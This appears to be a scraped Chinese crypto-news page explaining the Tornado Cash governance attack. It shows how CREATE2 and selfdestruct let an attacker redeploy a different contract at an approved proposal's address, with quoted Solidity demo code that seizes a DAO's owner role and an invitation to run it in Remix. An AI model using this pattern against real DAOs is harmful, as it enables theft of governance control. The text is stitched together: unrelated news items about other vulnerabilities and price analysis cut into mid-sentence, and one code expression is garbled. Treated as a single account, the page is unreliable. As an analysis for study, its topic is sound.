以太幣交易所 以太幣交易所
Ctrl+D 以太幣交易所
ads
首頁 > XLM > Info

解析Tornado治理攻擊:如何同一個地址上部署不同的合約_NBS

Author:

Time:1900/1/1 0:00:00

大概兩周前(5 月 20 日),知名混幣協議 Tornado Cash 遭受到治理攻擊,黑客獲取到了Tornado Cash的治理合約的控制權(Owner)。

攻擊過程是這樣的:攻擊者先提交了一個“看起來正常”的提案, 待提案通過之后, 銷毀了提案要執行的合約地址, 并在該地址上重新創建了一個攻擊合約。

攻擊過程可以查看 SharkTeam 的  Tornado.Cash提案攻擊原理分析。

這里攻擊的關鍵是在同一個地址上部署了不同的合約, 這是如何實現的呢?

EVM 中有兩個操作碼用來創建合約:CREATE 與 CREATE2 。

當使用 new Token() 使用的是  CREATE 操作碼 , 創建的合約地址計算函數為:

address tokenAddr = bytes20(keccak256(senderAddress, nonce))創建的合約地址是通過創建者地址 + 創建者Nonce(創建合約的數量)來確定的, 由于 Nonce 總是逐步遞增的, 當 Nonce 增加時,創建的合約地址總是是不同的。

當添加一個salt時 new Token{salt: bytes32(。() ,則使用的是  CREATE2 操作碼 , 創建的合約地址計算函數為:

Numen發布微軟漏洞解析,黑客可通過該漏洞獲取Windows完全控制權:6月9日消息,安全機構 Numen Cyber Labs 發布微軟 win32k 提權漏洞解析。Numen 表示,該漏洞系 win32k 提權漏洞,是微軟 Windows 系統層面的漏洞。通過該漏洞,黑客可獲取 Windows 的完全控制權。

Numen 指出,win32k 漏洞歷史眾所周知。但在最新的 windows11 預覽版中,微軟已經在嘗試使用 Rust 重構該部分內核代碼。未來該類型的漏洞在新系統可能被杜絕。

此前報道,5 月,微軟發布的補丁更新解決了 38 個安全漏洞,其中包括一個零日漏洞。[2023/6/9 21:25:55]

address tokenAddr = bytes20(keccak256(0xFF, senderAddress, salt, bytecode))創建的合約地址是 創建者地址 + 自定義的鹽 + 要部署的智能合約的字節碼, 因此 只有相同字節碼 和 使用相同的鹽值,才可以部署到同一個合約地址上。

那么如何才能在同一地址如何部署不用的合約?

攻擊者結合使用 Create2 和 Create 來創建合約, 如圖:

Cobo區塊鏈安全團隊公開0xDAO潛在盜幣漏洞發現過程及技術細節解析:4月2日消息,0xDAO v2原計劃上線前的幾個小時,Cobo區塊鏈安全團隊啟動對該項目的DaaS投前例行安全評估工作,隨后在github開源的項目代碼中發現了一個嚴重的安全漏洞。經評估,如果 0xDAO v2此時繼續上線,該漏洞預計會造成數億美金的資產損失。Cobo區塊鏈安全團隊立即啟動應急預案,快速通過多個渠道聯系到0xDAO項目方,提交該漏洞的完整攻擊流程,緊急叫停了項目上線,隨后協助0xDAO項目方對該漏洞進行了修復。

日前,0xDAO官方發布推文向Cobo區塊鏈安全團隊表示了感謝,并且表示會按照嚴重漏洞級別給予Cobo區塊鏈安全團隊漏洞賞金獎勵。[2022/4/2 14:00:31]

代碼參考自:https://solidity-by-example.org/hacks/deploy-different-contracts-same-address/

先用 Create2 部署一個合約 Deployer , 在 Deployer 使用 Create 創建目標合約 Proposal(用于提案使用)。 Deployer 和  Proposal 合約中均有自毀實現(selfdestruct)。

在提案通過后,攻擊者把  Deployer 和  Proposal 合約銷毀,然后重新用相同的slat創建 Deployer  ,  Deployer 字節碼不變,slat 也相同,因此會得到一個和之前相同的   Deployer  合約地址, 但此時   Deployer  合約的狀態被清空了, nonce 從 0 開始,因此可以使用該 nonce 創建另一個合約Attack。

浪潮集團王偉兵:標識解析、標識密碼、區塊鏈是構建工業區塊鏈三個技術要素:金色財經現場報道,12月5日,2020世界區塊鏈大會于武漢舉辦,會上浪潮集團區塊鏈技術研究院首席架構師王偉兵演講表示,消費互聯網是實現人和人的連接的,工業互聯網從技術上看更偏重物,工業互聯網數量多,管理難度大,面向物的標識解析和密碼學適合應用。標識解析的本質是提供名稱映射的分布式數據庫,構建工業區塊鏈的三個技術要素是標識解析、標識密碼、區塊鏈。標識解析需要目錄服務、數據共享,標識密碼主要做設備身份認證、設備寫入鏈,區塊鏈則增強安全,完成可信交易。[2020/12/5 14:06:24]

此代碼來自:https://solidity-by-example.org/hacks/deploy-different-contracts-same-address/

// SPDX-License-Identifier: MITpragma solidity ^0.8.17;contract DAO {    struct Proposal {        address target;        bool approved;        bool executed;    }    address public owner = msg.sender;    Proposal[] public proposals;    function approve(address target) external {        require(msg.sender == owner, "not authorized");        proposals.push(Proposal({target: target, approved: true, executed: false}));    }    function execute(uint256 proposalId) external payable {        Proposal storage proposal = proposals[proposalId];        require(proposal.approved, "not approved");        require(!proposal.executed, "executed");        proposal.executed = true;        (bool ok, ) = proposal.target.delegatecall(            abi.encodeWithSignature("executeProposal()")        );        require(ok, "delegatecall failed");    }}contract Proposal {    event Log(string message);    function executeProposal() external {        emit Log("Excuted code approved by DAO");    }    function emergencyStop() external {        selfdestruct(payable(address(0)));    }}contract Attack {    event Log(string message);    address public owner;    function executeProposal() external {        emit Log("Excuted code not approved by DAO :)");        // For example - set DAO's owner to attacker        owner = msg.sender;    }}contract DeployerDeployer {    event Log(address addr);    function deploy() external {        bytes32 salt = keccak256(abi.encode(uint(123)));        address addr = address(new Deployer{salt: salt}());        emit Log(addr);    }}contract Deployer {    event Log(address addr);    function deployProposal() external {        address addr = address(new Proposal());        emit Log(addr);    }    function deployAttack() external {        address addr = address(new Attack());        emit Log(addr);    }    function kill() external {        selfdestruct(payable(address(0)));    }}大家可以使用該代碼自己在 Remix 中演練一下。

分析 | 資金流入榜首DASH盤面解析:在過去24小時中,DASH在各主流幣中非常強勢,資金凈流入31.97億人民幣。從圖中可以看出,DASH目前4小時走勢處于上升楔形三角中,底部不斷抬高,100均線上穿長期200均線,表明近期壓力位將會上移,并且MA100和MA 200將會對幣價起到支撐作用,不過目前兩均線的缺口在收窄,說明近期上沖動能在逐步減弱,RSI顯示進入超買區域,短期有回撤蓄勢的需求,上方壓力95,下方支撐89,收盤若站穩89上方,還會有上漲空間,反之幣價可能回撤至三角底部$75附近尋求支撐。利好消息面,區塊鏈支付服務PolisPay宣布與Dash合作,將支持其萬事達卡借記卡。[2019/3/13]

首先部署 DeployerDeployer , 調用 DeployerDeployer.deploy() 部署 Deployer , 然后調用   Deployer.deployProposal()  部署  Proposal 。

拿到 Proposal 提案合約地址后, 向  DAO 發起提案。

分別調用 Deployer.kill 和  Proposal.emergencyStop 銷毀掉 Deployer 和 Proposal

再次調用 DeployerDeployer.deploy() 部署 Deployer , 調用 Deployer.deployAttack() 部署  Attack ,    Attack  將和之前的   Proposal 一致。

動態 | 浙江大學攜手劍橋大學發布區塊鏈生態深層解析報告:近期,浙江大學互聯網金融研究院攜手劍橋大學新興金融研究中心發布區塊鏈生態深層解析報告《Distributed Ledger Technology Systems-A Conceptual Framework》的中文版——《分布式賬本技術系統:一個概念框架》。浙大AIF副院長楊小虎指出,該報告不僅闡明了如何識別DLT系統,分析和比較現有的DLT系統,還通過六個實例為新系統設計提供有用的借鑒。[2018/8/17]

執行 DAO.execute 時,攻擊完成 獲取到了 DAO 的 Owner 權限。

區塊律動BlockBeats

曼昆區塊鏈法律

Foresight News

GWEI Research

吳說區塊鏈

西柚yoga

ETH中文

金色早8點

金色財經 子木

ABCDE

0xAyA

Tags:NBSBSPPROSALnbs幣發行量BSP幣ProjectonSALO幣

XLM
納斯達克重新提交貝萊德現貨比特幣 ETF 申請 指定 Coinbase 為監控合作伙伴_比特幣

作者:Sarah Wynn,THE BLOCK;編譯:松雪,金色財經納斯達克重新提交了 iShares Bitcoin Trust 的 19b-4 表格.

1900/1/1 0:00:00
測評:「Twitter殺手」Threads正式上線 表現如何?_REA

原文作者:Jaleel、Jack,BlockBeats扎克伯格,這個在全球社交媒體領域耳熟能詳的名字,曾經顛覆了人們的傳統社交方式,將人們的社交場合從現實派對搬到了互聯網的人物.

1900/1/1 0:00:00
一文盤點LSDFi板塊10個協議_ETH

近期,LSDFi這個新興板塊受到業內聰明投資者的青睞,數據顯示,LSDFi 板塊總鎖定價值已經突破3.85億美元,下面是一些LSDFi協議盤點.

1900/1/1 0:00:00
什么是跨鏈交易?_區塊鏈

?每個區塊鏈都是一個完整的數字環境,其中所有應用程序都通過底層網絡連接。但隨著區塊鏈網絡的不斷增加,以及區塊鏈之間缺乏連接,人們對跨鏈基礎設施的需求越來越高,以提供用戶在多個區塊鏈網絡之間的互操.

1900/1/1 0:00:00
陷入監管泥潭?Binance與CZ正等待混亂結束_加密貨幣

作者:WILL GOTTSEGEN;編譯:Block unicorn趙長鵬(CZ),幣安的首席執行官,最近一直避開公眾關注.

1900/1/1 0:00:00
Meme專題第一期:5月的勝者_MEM

作者: Lisa、LD Capital Research在剛剛過去的5月份,千倍萬倍的財富效應掀起了Meme行情的浪潮,隨著熱情逐漸平息,本輪共有三個新項目市值進入了meme板塊前列.

1900/1/1 0:00:00
ads